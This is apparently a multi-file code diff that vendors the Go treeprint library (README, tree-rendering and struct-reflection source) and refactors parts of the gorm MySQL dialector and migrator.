<a href="https://upload.wikimedia.org/wikipedia/commons/5/58/ENC_SYSTEME_FIGURE.jpeg"><img alt="SYSTEME FIGURE" src="https://upload.wikimedia.org/wikipedia/commons/thumb/5/58/ENC_SYSTEME_FIGURE.jpeg/896px-ENC_SYSTEME_FIGURE.jpeg" align="left" width="300"></a>
|
||||
|
||||
If you are familiar with the [tree](http://mama.indstate.edu/users/ice/tree/) utility that is a recursive directory listing command that produces a depth indented listing of files, then you have the idea of what it would look like.
|
||||
|
||||
On my system the command yields the following
|
||||
|
||||
```
|
||||
$ tree
|
||||
.
|
||||
├── LICENSE
|
||||
├── README.md
|
||||
├── treeprint.go
|
||||
└── treeprint_test.go
|
||||
|
||||
0 directories, 4 files
|
||||
```
|
||||
|
||||
and I'd like to have the same format for my Go data structures when I print them.
|
||||
|
||||
## Installation
|
||||
|
||||
```
|
||||
$ go get github.com/xlab/treeprint
|
||||
```
|
||||
|
||||
## Concept of work
|
||||
|
||||
The general idea is that you initialise a new tree with `treeprint.New()` and then add nodes and
|
||||
branches into it. Use `AddNode()` when you want add a node on the same level as the target or
|
||||
use `AddBranch()` when you want to go a level deeper. So `tree.AddBranch().AddNode().AddNode()` would
|
||||
create a new level with two distinct nodes on it. So `tree.AddNode().AddNode()` is a flat thing and
|
||||
`tree.AddBranch().AddBranch().AddBranch()` is a high thing. Use `String()` or `Bytes()` on a branch
|
||||
to render a subtree, or use it on the root to print the whole tree.
|
||||
|
||||
The utility will yield Unicode-friendly trees. The output is predictable and there is no platform-dependent exceptions, so if you have issues with displaying the tree in the console, all platform-related transformations can be done after the tree has been rendered: [an example](https://github.com/xlab/treeprint/issues/2#issuecomment-324944141) for Asian locales.
|
||||
|
||||
## Use cases
|
||||
|
||||
### When you want to render a complex data structure:
|
||||
|
||||
```go
|
||||
func main() {
|
||||
// to add a custom root name use `treeprint.NewWithRoot()` instead
|
||||
tree := treeprint.New()
|
||||
|
||||
// create a new branch in the root
|
||||
one := tree.AddBranch("one")
|
||||
|
||||
// add some nodes
|
||||
one.AddNode("subnode1").AddNode("subnode2")
|
||||
|
||||
// create a new sub-branch
|
||||
one.AddBranch("two").
|
||||
AddNode("subnode1").AddNode("subnode2"). // add some nodes
|
||||
AddBranch("three"). // add a new sub-branch
|
||||
AddNode("subnode1").AddNode("subnode2") // add some nodes too
|
||||
|
||||
// add one more node that should surround the inner branch
|
||||
one.AddNode("subnode3")
|
||||
|
||||
// add a new node to the root
|
||||
tree.AddNode("outernode")
|
||||
|
||||
fmt.Println(tree.String())
|
||||
}
|
||||
```
|
||||
|
||||
Will give you:
|
||||
|
||||
```
|
||||
.
|
||||
├── one
|
||||
│ ├── subnode1
|
||||
│ ├── subnode2
|
||||
│ ├── two
|
||||
│ │ ├── subnode1
|
||||
│ │ ├── subnode2
|
||||
│ │ └── three
|
||||
│ │ ├── subnode1
|
||||
│ │ └── subnode2
|
||||
│ └── subnode3
|
||||
└── outernode
|
||||
```
|
||||
|
||||
### Another case, when you have to make a tree where any leaf may have some meta-data (as `tree` is capable of it):
|
||||
|
||||
```go
|
||||
func main {
|
||||
// to add a custom root name use `treeprint.NewWithRoot()` instead
|
||||
tree := treeprint.New()
|
||||
|
||||
tree.AddNode("Dockerfile")
|
||||
tree.AddNode("Makefile")
|
||||
tree.AddNode("aws.sh")
|
||||
tree.AddMetaBranch(" 204", "bin").
|
||||
AddNode("dbmaker").AddNode("someserver").AddNode("testtool")
|
||||
tree.AddMetaBranch(" 374", "deploy").
|
||||
AddNode("Makefile").AddNode("bootstrap.sh")
|
||||
tree.AddMetaNode("122K", "testtool.a")
|
||||
|
||||
fmt.Println(tree.String())
|
||||
}
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
.
|
||||
├── Dockerfile
|
||||
├── Makefile
|
||||
├── aws.sh
|
||||
├── [ 204] bin
|
||||
│ ├── dbmaker
|
||||
│ ├── someserver
|
||||
│ └── testtool
|
||||
├── [ 374] deploy
|
||||
│ ├── Makefile
|
||||
│ └── bootstrap.sh
|
||||
└── [122K] testtool.a
|
||||
```
|
||||
|
||||
### Iterating over the tree nodes
|
||||
|
||||
```go
|
||||
tree := New()
|
||||
|
||||
one := tree.AddBranch("one")
|
||||
one.AddNode("one-subnode1").AddNode("one-subnode2")
|
||||
one.AddBranch("two").AddNode("two-subnode1").AddNode("two-subnode2").
|
||||
AddBranch("three").AddNode("three-subnode1").AddNode("three-subnode2")
|
||||
tree.AddNode("outernode")
|
||||
|
||||
// if you need to iterate over the whole tree
|
||||
// call `VisitAll` from your top root node.
|
||||
tree.VisitAll(func(item *node) {
|
||||
if len(item.Nodes) > 0 {
|
||||
// branch nodes
|
||||
fmt.Println(item.Value) // will output one, two, three
|
||||
} else {
|
||||
// leaf nodes
|
||||
fmt.Println(item.Value) // will output one-*, two-*, three-* and outernode
|
||||
}
|
||||
})
|
||||
|
||||
```
|
||||
Yay! So it works.
|
||||
|
||||
## License
|
||||
MIT
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
package treeprint
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func isEmpty(v *reflect.Value) bool {
|
||||
switch v.Kind() {
|
||||
case reflect.Array, reflect.Map, reflect.Slice, reflect.String:
|
||||
return v.Len() == 0
|
||||
case reflect.Bool:
|
||||
return !v.Bool()
|
||||
case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
|
||||
return v.Int() == 0
|
||||
case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:
|
||||
return v.Uint() == 0
|
||||
case reflect.Float32, reflect.Float64:
|
||||
return v.Float() == 0
|
||||
case reflect.Interface, reflect.Ptr:
|
||||
return v.IsNil()
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func tagSpec(tag string) (name string, omit bool) {
|
||||
parts := strings.Split(tag, ",")
|
||||
if len(parts) < 2 {
|
||||
return tag, false
|
||||
}
|
||||
if parts[1] == "omitempty" {
|
||||
return parts[0], true
|
||||
}
|
||||
return parts[0], false
|
||||
}
|
||||
|
||||
func filterTags(tag reflect.StructTag) string {
|
||||
tags := strings.Split(string(tag), " ")
|
||||
filtered := make([]string, 0, len(tags))
|
||||
for i := range tags {
|
||||
if strings.HasPrefix(tags[i], "tree:") {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, tags[i])
|
||||
}
|
||||
return strings.Join(filtered, " ")
|
||||
}
|
||||
+322
@@ -0,0 +1,322 @@
|
||||
package treeprint
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"reflect"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type StructTreeOption int
|
||||
|
||||
const (
|
||||
StructNameTree StructTreeOption = iota
|
||||
StructValueTree
|
||||
StructTagTree
|
||||
StructTypeTree
|
||||
StructTypeSizeTree
|
||||
)
|
||||
|
||||
func FromStruct(v interface{}, opt ...StructTreeOption) (Tree, error) {
|
||||
var treeOpt StructTreeOption
|
||||
if len(opt) > 0 {
|
||||
treeOpt = opt[0]
|
||||
}
|
||||
switch treeOpt {
|
||||
case StructNameTree:
|
||||
tree := New()
|
||||
err := nameTree(tree, v)
|
||||
return tree, err
|
||||
case StructValueTree:
|
||||
tree := New()
|
||||
err := valueTree(tree, v)
|
||||
return tree, err
|
||||
case StructTagTree:
|
||||
tree := New()
|
||||
err := tagTree(tree, v)
|
||||
return tree, err
|
||||
case StructTypeTree:
|
||||
tree := New()
|
||||
err := typeTree(tree, v)
|
||||
return tree, err
|
||||
case StructTypeSizeTree:
|
||||
tree := New()
|
||||
err := typeSizeTree(tree, v)
|
||||
return tree, err
|
||||
default:
|
||||
err := fmt.Errorf("treeprint: invalid StructTreeOption %v", treeOpt)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
type FmtFunc func(name string, v interface{}) (string, bool)
|
||||
|
||||
func FromStructWithMeta(v interface{}, fmtFunc FmtFunc) (Tree, error) {
|
||||
if fmtFunc == nil {
|
||||
tree := New()
|
||||
err := nameTree(tree, v)
|
||||
return tree, err
|
||||
}
|
||||
tree := New()
|
||||
err := metaTree(tree, v, fmtFunc)
|
||||
return tree, err
|
||||
}
|
||||
|
||||
func Repr(v interface{}) string {
|
||||
tree := New()
|
||||
vType := reflect.TypeOf(v)
|
||||
vValue := reflect.ValueOf(v)
|
||||
_, val, isStruct := getValue(vType, &vValue)
|
||||
if !isStruct {
|
||||
return fmt.Sprintf("%+v", val.Interface())
|
||||
}
|
||||
err := valueTree(tree, val.Interface())
|
||||
if err != nil {
|
||||
return err.Error()
|
||||
}
|
||||
return tree.String()
|
||||
}
|
||||
|
||||
func nameTree(tree Tree, v interface{}) error {
|
||||
typ, val, err := checkType(v)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fields := typ.NumField()
|
||||
for i := 0; i < fields; i++ {
|
||||
field := typ.Field(i)
|
||||
fieldValue := val.Field(i)
|
||||
name, skip, omit := getMeta(field.Name, field.Tag)
|
||||
if skip || omit && isEmpty(&fieldValue) {
|
||||
continue
|
||||
}
|
||||
typ, val, isStruct := getValue(field.Type, &fieldValue)
|
||||
if !isStruct {
|
||||
tree.AddNode(name)
|
||||
continue
|
||||
} else if subNum := typ.NumField(); subNum == 0 {
|
||||
tree.AddNode(name)
|
||||
continue
|
||||
}
|
||||
branch := tree.AddBranch(name)
|
||||
if err := nameTree(branch, val.Interface()); err != nil {
|
||||
err := fmt.Errorf("%v on struct branch %s", err, name)
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func getMeta(fieldName string, tag reflect.StructTag) (name string, skip, omit bool) {
|
||||
if tagStr := tag.Get("tree"); len(tagStr) > 0 {
|
||||
name, omit = tagSpec(tagStr)
|
||||
}
|
||||
if name == "-" {
|
||||
return fieldName, true, omit
|
||||
}
|
||||
if len(name) == 0 {
|
||||
name = fieldName
|
||||
} else if trimmed := strings.TrimSpace(name); len(trimmed) == 0 {
|
||||
name = fieldName
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func valueTree(tree Tree, v interface{}) error {
|
||||
typ, val, err := checkType(v)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fields := typ.NumField()
|
||||
for i := 0; i < fields; i++ {
|
||||
field := typ.Field(i)
|
||||
fieldValue := val.Field(i)
|
||||
name, skip, omit := getMeta(field.Name, field.Tag)
|
||||
if skip || omit && isEmpty(&fieldValue) {
|
||||
continue
|
||||
}
|
||||
typ, val, isStruct := getValue(field.Type, &fieldValue)
|
||||
if !isStruct {
|
||||
tree.AddMetaNode(val.Interface(), name)
|
||||
continue
|
||||
} else if subNum := typ.NumField(); subNum == 0 {
|
||||
tree.AddMetaNode(val.Interface(), name)
|
||||
continue
|
||||
}
|
||||
branch := tree.AddBranch(name)
|
||||
if err := valueTree(branch, val.Interface()); err != nil {
|
||||
err := fmt.Errorf("%v on struct branch %s", err, name)
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func tagTree(tree Tree, v interface{}) error {
|
||||
typ, val, err := checkType(v)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fields := typ.NumField()
|
||||
for i := 0; i < fields; i++ {
|
||||
field := typ.Field(i)
|
||||
fieldValue := val.Field(i)
|
||||
name, skip, omit := getMeta(field.Name, field.Tag)
|
||||
if skip || omit && isEmpty(&fieldValue) {
|
||||
continue
|
||||
}
|
||||
filteredTag := filterTags(field.Tag)
|
||||
typ, val, isStruct := getValue(field.Type, &fieldValue)
|
||||
if !isStruct {
|
||||
tree.AddMetaNode(filteredTag, name)
|
||||
continue
|
||||
} else if subNum := typ.NumField(); subNum == 0 {
|
||||
tree.AddMetaNode(filteredTag, name)
|
||||
continue
|
||||
}
|
||||
branch := tree.AddMetaBranch(filteredTag, name)
|
||||
if err := tagTree(branch, val.Interface()); err != nil {
|
||||
err := fmt.Errorf("%v on struct branch %s", err, name)
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func typeTree(tree Tree, v interface{}) error {
|
||||
typ, val, err := checkType(v)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fields := typ.NumField()
|
||||
for i := 0; i < fields; i++ {
|
||||
field := typ.Field(i)
|
||||
fieldValue := val.Field(i)
|
||||
name, skip, omit := getMeta(field.Name, field.Tag)
|
||||
if skip || omit && isEmpty(&fieldValue) {
|
||||
continue
|
||||
}
|
||||
typ, val, isStruct := getValue(field.Type, &fieldValue)
|
||||
typename := fmt.Sprintf("%T", val.Interface())
|
||||
if !isStruct {
|
||||
tree.AddMetaNode(typename, name)
|
||||
continue
|
||||
} else if subNum := typ.NumField(); subNum == 0 {
|
||||
tree.AddMetaNode(typename, name)
|
||||
continue
|
||||
}
|
||||
branch := tree.AddMetaBranch(typename, name)
|
||||
if err := typeTree(branch, val.Interface()); err != nil {
|
||||
err := fmt.Errorf("%v on struct branch %s", err, name)
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func typeSizeTree(tree Tree, v interface{}) error {
|
||||
typ, val, err := checkType(v)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fields := typ.NumField()
|
||||
for i := 0; i < fields; i++ {
|
||||
field := typ.Field(i)
|
||||
fieldValue := val.Field(i)
|
||||
name, skip, omit := getMeta(field.Name, field.Tag)
|
||||
if skip || omit && isEmpty(&fieldValue) {
|
||||
continue
|
||||
}
|
||||
typ, val, isStruct := getValue(field.Type, &fieldValue)
|
||||
typesize := typ.Size()
|
||||
if !isStruct {
|
||||
tree.AddMetaNode(typesize, name)
|
||||
continue
|
||||
} else if subNum := typ.NumField(); subNum == 0 {
|
||||
tree.AddMetaNode(typesize, name)
|
||||
continue
|
||||
}
|
||||
branch := tree.AddMetaBranch(typesize, name)
|
||||
if err := typeSizeTree(branch, val.Interface()); err != nil {
|
||||
err := fmt.Errorf("%v on struct branch %s", err, name)
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func metaTree(tree Tree, v interface{}, fmtFunc FmtFunc) error {
|
||||
typ, val, err := checkType(v)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fields := typ.NumField()
|
||||
for i := 0; i < fields; i++ {
|
||||
field := typ.Field(i)
|
||||
fieldValue := val.Field(i)
|
||||
name, skip, omit := getMeta(field.Name, field.Tag)
|
||||
if skip || omit && isEmpty(&fieldValue) {
|
||||
continue
|
||||
}
|
||||
typ, val, isStruct := getValue(field.Type, &fieldValue)
|
||||
formatted, show := fmtFunc(name, val.Interface())
|
||||
if !isStruct {
|
||||
if show {
|
||||
tree.AddMetaNode(formatted, name)
|
||||
continue
|
||||
}
|
||||
tree.AddNode(name)
|
||||
continue
|
||||
} else if subNum := typ.NumField(); subNum == 0 {
|
||||
if show {
|
||||
tree.AddMetaNode(formatted, name)
|
||||
continue
|
||||
}
|
||||
tree.AddNode(name)
|
||||
continue
|
||||
}
|
||||
var branch Tree
|
||||
if show {
|
||||
branch = tree.AddMetaBranch(formatted, name)
|
||||
} else {
|
||||
branch = tree.AddBranch(name)
|
||||
}
|
||||
if err := metaTree(branch, val.Interface(), fmtFunc); err != nil {
|
||||
err := fmt.Errorf("%v on struct branch %s", err, name)
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func getValue(typ reflect.Type, val *reflect.Value) (reflect.Type, *reflect.Value, bool) {
|
||||
switch typ.Kind() {
|
||||
case reflect.Ptr:
|
||||
typ = typ.Elem()
|
||||
if typ.Kind() == reflect.Struct {
|
||||
elem := val.Elem()
|
||||
return typ, &elem, true
|
||||
}
|
||||
case reflect.Struct:
|
||||
return typ, val, true
|
||||
}
|
||||
return typ, val, false
|
||||
}
|
||||
|
||||
func checkType(v interface{}) (reflect.Type, *reflect.Value, error) {
|
||||
typ := reflect.TypeOf(v)
|
||||
val := reflect.ValueOf(v)
|
||||
switch typ.Kind() {
|
||||
case reflect.Ptr:
|
||||
typ = typ.Elem()
|
||||
if typ.Kind() != reflect.Struct {
|
||||
err := fmt.Errorf("treeprint: %T is not a struct we could work with", v)
|
||||
return nil, nil, err
|
||||
}
|
||||
val = val.Elem()
|
||||
case reflect.Struct:
|
||||
default:
|
||||
err := fmt.Errorf("treeprint: %T is not a struct we could work with", v)
|
||||
return nil, nil, err
|
||||
}
|
||||
return typ, &val, nil
|
||||
}
|
||||
+294
@@ -0,0 +1,294 @@
|
||||
// Package treeprint provides a simple ASCII tree composing tool.
|
||||
package treeprint
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"reflect"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Value defines any value
|
||||
type Value interface{}
|
||||
|
||||
// MetaValue defines any meta value
|
||||
type MetaValue interface{}
|
||||
|
||||
// NodeVisitor function type for iterating over nodes
|
||||
type NodeVisitor func(item *node)
|
||||
|
||||
// Tree represents a tree structure with leaf-nodes and branch-nodes.
|
||||
type Tree interface {
|
||||
// AddNode adds a new node to a branch.
|
||||
AddNode(v Value) Tree
|
||||
// AddMetaNode adds a new node with meta value provided to a branch.
|
||||
AddMetaNode(meta MetaValue, v Value) Tree
|
||||
// AddBranch adds a new branch node (a level deeper).
|
||||
AddBranch(v Value) Tree
|
||||
// AddMetaBranch adds a new branch node (a level deeper) with meta value provided.
|
||||
AddMetaBranch(meta MetaValue, v Value) Tree
|
||||
// Branch converts a leaf-node to a branch-node,
|
||||
// applying this on a branch-node does no effect.
|
||||
Branch() Tree
|
||||
// FindByMeta finds a node whose meta value matches the provided one by reflect.DeepEqual,
|
||||
// returns nil if not found.
|
||||
FindByMeta(meta MetaValue) Tree
|
||||
// FindByValue finds a node whose value matches the provided one by reflect.DeepEqual,
|
||||
// returns nil if not found.
|
||||
FindByValue(value Value) Tree
|
||||
// returns the last node of a tree
|
||||
FindLastNode() Tree
|
||||
// String renders the tree or subtree as a string.
|
||||
String() string
|
||||
// Bytes renders the tree or subtree as byteslice.
|
||||
Bytes() []byte
|
||||
|
||||
SetValue(value Value)
|
||||
SetMetaValue(meta MetaValue)
|
||||
|
||||
// VisitAll iterates over the tree, branches and nodes.
|
||||
// If need to iterate over the whole tree, use the root node.
|
||||
// Note this method uses a breadth-first approach.
|
||||
VisitAll(fn NodeVisitor)
|
||||
}
|
||||
|
||||
type node struct {
|
||||
Root *node
|
||||
Meta MetaValue
|
||||
Value Value
|
||||
Nodes []*node
|
||||
}
|
||||
|
||||
func (n *node) FindLastNode() Tree {
|
||||
ns := n.Nodes
|
||||
if len(ns) == 0 {
|
||||
return nil
|
||||
}
|
||||
return ns[len(ns)-1]
|
||||
}
|
||||
|
||||
func (n *node) AddNode(v Value) Tree {
|
||||
n.Nodes = append(n.Nodes, &node{
|
||||
Root: n,
|
||||
Value: v,
|
||||
})
|
||||
return n
|
||||
}
|
||||
|
||||
func (n *node) AddMetaNode(meta MetaValue, v Value) Tree {
|
||||
n.Nodes = append(n.Nodes, &node{
|
||||
Root: n,
|
||||
Meta: meta,
|
||||
Value: v,
|
||||
})
|
||||
return n
|
||||
}
|
||||
|
||||
func (n *node) AddBranch(v Value) Tree {
|
||||
branch := &node{
|
||||
Root: n,
|
||||
Value: v,
|
||||
}
|
||||
n.Nodes = append(n.Nodes, branch)
|
||||
return branch
|
||||
}
|
||||
|
||||
func (n *node) AddMetaBranch(meta MetaValue, v Value) Tree {
|
||||
branch := &node{
|
||||
Root: n,
|
||||
Meta: meta,
|
||||
Value: v,
|
||||
}
|
||||
n.Nodes = append(n.Nodes, branch)
|
||||
return branch
|
||||
}
|
||||
|
||||
func (n *node) Branch() Tree {
|
||||
n.Root = nil
|
||||
return n
|
||||
}
|
||||
|
||||
func (n *node) FindByMeta(meta MetaValue) Tree {
|
||||
for _, node := range n.Nodes {
|
||||
if reflect.DeepEqual(node.Meta, meta) {
|
||||
return node
|
||||
}
|
||||
if v := node.FindByMeta(meta); v != nil {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (n *node) FindByValue(value Value) Tree {
|
||||
for _, node := range n.Nodes {
|
||||
if reflect.DeepEqual(node.Value, value) {
|
||||
return node
|
||||
}
|
||||
if v := node.FindByMeta(value); v != nil {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (n *node) Bytes() []byte {
|
||||
buf := new(bytes.Buffer)
|
||||
level := 0
|
||||
var levelsEnded []int
|
||||
if n.Root == nil {
|
||||
if n.Meta != nil {
|
||||
buf.WriteString(fmt.Sprintf("[%v] %v", n.Meta, n.Value))
|
||||
} else {
|
||||
buf.WriteString(fmt.Sprintf("%v", n.Value))
|
||||
}
|
||||
buf.WriteByte('\n')
|
||||
} else {
|
||||
edge := EdgeTypeMid
|
||||
if len(n.Nodes) == 0 {
|
||||
edge = EdgeTypeEnd
|
||||
levelsEnded = append(levelsEnded, level)
|
||||
}
|
||||
printValues(buf, 0, levelsEnded, edge, n)
|
||||
}
|
||||
if len(n.Nodes) > 0 {
|
||||
printNodes(buf, level, levelsEnded, n.Nodes)
|
||||
}
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
func (n *node) String() string {
|
||||
return string(n.Bytes())
|
||||
}
|
||||
|
||||
func (n *node) SetValue(value Value) {
|
||||
n.Value = value
|
||||
}
|
||||
|
||||
func (n *node) SetMetaValue(meta MetaValue) {
|
||||
n.Meta = meta
|
||||
}
|
||||
|
||||
func (n *node) VisitAll(fn NodeVisitor) {
|
||||
for _, node := range n.Nodes {
|
||||
fn(node)
|
||||
|
||||
if len(node.Nodes) > 0 {
|
||||
node.VisitAll(fn)
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func printNodes(wr io.Writer,
|
||||
level int, levelsEnded []int, nodes []*node) {
|
||||
|
||||
for i, node := range nodes {
|
||||
edge := EdgeTypeMid
|
||||
if i == len(nodes)-1 {
|
||||
levelsEnded = append(levelsEnded, level)
|
||||
edge = EdgeTypeEnd
|
||||
}
|
||||
printValues(wr, level, levelsEnded, edge, node)
|
||||
if len(node.Nodes) > 0 {
|
||||
printNodes(wr, level+1, levelsEnded, node.Nodes)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func printValues(wr io.Writer,
|
||||
level int, levelsEnded []int, edge EdgeType, node *node) {
|
||||
|
||||
for i := 0; i < level; i++ {
|
||||
if isEnded(levelsEnded, i) {
|
||||
fmt.Fprint(wr, strings.Repeat(" ", IndentSize+1))
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(wr, "%s%s", EdgeTypeLink, strings.Repeat(" ", IndentSize))
|
||||
}
|
||||
|
||||
val := renderValue(level, node)
|
||||
meta := node.Meta
|
||||
|
||||
if meta != nil {
|
||||
fmt.Fprintf(wr, "%s [%v] %v\n", edge, meta, val)
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(wr, "%s %v\n", edge, val)
|
||||
}
|
||||
|
||||
func isEnded(levelsEnded []int, level int) bool {
|
||||
for _, l := range levelsEnded {
|
||||
if l == level {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func renderValue(level int, node *node) Value {
|
||||
lines := strings.Split(fmt.Sprintf("%v", node.Value), "\n")
|
||||
|
||||
// If value does not contain multiple lines, return itself.
|
||||
if len(lines) < 2 {
|
||||
return node.Value
|
||||
}
|
||||
|
||||
// If value contains multiple lines,
|
||||
// generate a padding and prefix each line with it.
|
||||
pad := padding(level, node)
|
||||
|
||||
for i := 1; i < len(lines); i++ {
|
||||
lines[i] = fmt.Sprintf("%s%s", pad, lines[i])
|
||||
}
|
||||
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
// padding returns a padding for the multiline values with correctly placed link edges.
|
||||
// It is generated by traversing the tree upwards (from leaf to the root of the tree)
|
||||
// and, on each level, checking if the node the last one of its siblings.
|
||||
// If a node is the last one, the padding on that level should be empty (there's nothing to link to below it).
|
||||
// If a node is not the last one, the padding on that level should be the link edge so the sibling below is correctly connected.
|
||||
func padding(level int, node *node) string {
|
||||
links := make([]string, level+1)
|
||||
|
||||
for node.Root != nil {
|
||||
if isLast(node) {
|
||||
links[level] = strings.Repeat(" ", IndentSize+1)
|
||||
} else {
|
||||
links[level] = fmt.Sprintf("%s%s", EdgeTypeLink, strings.Repeat(" ", IndentSize))
|
||||
}
|
||||
level--
|
||||
node = node.Root
|
||||
}
|
||||
|
||||
return strings.Join(links, "")
|
||||
}
|
||||
|
||||
// isLast checks if the node is the last one in the slice of its parent children
|
||||
func isLast(n *node) bool {
|
||||
return n == n.Root.FindLastNode()
|
||||
}
|
||||
|
||||
type EdgeType string
|
||||
|
||||
var (
|
||||
EdgeTypeLink EdgeType = "│"
|
||||
EdgeTypeMid EdgeType = "├──"
|
||||
EdgeTypeEnd EdgeType = "└──"
|
||||
)
|
||||
|
||||
// IndentSize is the number of spaces per tree level.
|
||||
var IndentSize = 3
|
||||
|
||||
// New Generates new tree
|
||||
func New() Tree {
|
||||
return &node{Value: "."}
|
||||
}
|
||||
|
||||
// NewWithRoot Generates new tree with the given root value
|
||||
func NewWithRoot(root Value) Tree {
|
||||
return &node{Value: root}
|
||||
}
|
||||
+5
-7
@@ -183,7 +183,7 @@ func (m Migrator) ColumnTypes(value interface{}) ([]gorm.ColumnType, error) {
|
||||
}
|
||||
columnTypeSQL += "FROM information_schema.columns WHERE table_schema = ? AND table_name = ? ORDER BY ORDINAL_POSITION"
|
||||
|
||||
columns, rowErr := m.DB.Raw(columnTypeSQL, currentDatabase, table).Rows()
|
||||
columns, rowErr := m.DB.Table(table).Raw(columnTypeSQL, currentDatabase, table).Rows()
|
||||
if rowErr != nil {
|
||||
return rowErr
|
||||
}
|
||||
@@ -271,7 +271,7 @@ func (m Migrator) GetIndexes(value interface{}) ([]gorm.Index, error) {
|
||||
|
||||
result := make([]*Index, 0)
|
||||
schema, table := m.CurrentSchema(stmt, stmt.Table)
|
||||
scanErr := m.DB.Raw(indexSql, schema, table).Scan(&result).Error
|
||||
scanErr := m.DB.Table(table).Raw(indexSql, schema, table).Scan(&result).Error
|
||||
if scanErr != nil {
|
||||
return scanErr
|
||||
}
|
||||
@@ -317,12 +317,10 @@ func groupByIndexName(indexList []*Index) map[string][]*Index {
|
||||
}
|
||||
|
||||
func (m Migrator) CurrentSchema(stmt *gorm.Statement, table string) (string, string) {
|
||||
if strings.Contains(table, ".") {
|
||||
if tables := strings.Split(table, `.`); len(tables) == 2 {
|
||||
return tables[0], tables[1]
|
||||
}
|
||||
if tables := strings.Split(table, `.`); len(tables) == 2 {
|
||||
return tables[0], tables[1]
|
||||
}
|
||||
|
||||
m.DB = m.DB.Table(table)
|
||||
return m.CurrentDatabase(), table
|
||||
}
|
||||
|
||||
|
||||
+40
-37
@@ -11,6 +11,7 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/go-sql-driver/mysql"
|
||||
|
||||
"gorm.io/gorm"
|
||||
"gorm.io/gorm/callbacks"
|
||||
"gorm.io/gorm/clause"
|
||||
@@ -76,22 +77,20 @@ func (dialector Dialector) NowFunc(n int) func() time.Time {
|
||||
}
|
||||
|
||||
func (dialector Dialector) Apply(config *gorm.Config) error {
|
||||
if config.NowFunc == nil {
|
||||
if dialector.DefaultDatetimePrecision == nil {
|
||||
dialector.DefaultDatetimePrecision = &defaultDatetimePrecision
|
||||
}
|
||||
|
||||
// while maintaining the readability of the code, separate the business logic from
|
||||
// the general part and leave it to the function to do it here.
|
||||
config.NowFunc = dialector.NowFunc(*dialector.DefaultDatetimePrecision)
|
||||
if config.NowFunc != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if dialector.DefaultDatetimePrecision == nil {
|
||||
dialector.DefaultDatetimePrecision = &defaultDatetimePrecision
|
||||
}
|
||||
// while maintaining the readability of the code, separate the business logic from
|
||||
// the general part and leave it to the function to do it here.
|
||||
config.NowFunc = dialector.NowFunc(*dialector.DefaultDatetimePrecision)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (dialector Dialector) Initialize(db *gorm.DB) (err error) {
|
||||
ctx := context.Background()
|
||||
|
||||
if dialector.DriverName == "" {
|
||||
dialector.DriverName = "mysql"
|
||||
}
|
||||
@@ -111,7 +110,7 @@ func (dialector Dialector) Initialize(db *gorm.DB) (err error) {
|
||||
|
||||
withReturning := false
|
||||
if !dialector.Config.SkipInitializeWithVersion {
|
||||
err = db.ConnPool.QueryRowContext(ctx, "SELECT VERSION()").Scan(&dialector.ServerVersion)
|
||||
err = db.ConnPool.QueryRowContext(context.Background(), "SELECT VERSION()").Scan(&dialector.ServerVersion)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -121,9 +120,7 @@ func (dialector Dialector) Initialize(db *gorm.DB) (err error) {
|
||||
dialector.Config.DontSupportRenameColumn = true
|
||||
dialector.Config.DontSupportForShareClause = true
|
||||
dialector.Config.DontSupportNullAsDefaultValue = true
|
||||
if checkVersion(dialector.ServerVersion, "10.5") {
|
||||
withReturning = true
|
||||
}
|
||||
withReturning = checkVersion(dialector.ServerVersion, "10.5")
|
||||
} else if strings.HasPrefix(dialector.ServerVersion, "5.6.") {
|
||||
dialector.Config.DontSupportRenameIndex = true
|
||||
dialector.Config.DontSupportRenameColumn = true
|
||||
@@ -176,7 +173,7 @@ const (
|
||||
ClauseOnConflict = "ON CONFLICT"
|
||||
// ClauseValues for clause.ClauseBuilder VALUES key
|
||||
ClauseValues = "VALUES"
|
||||
// ClauseValues for clause.ClauseBuilder FOR key
|
||||
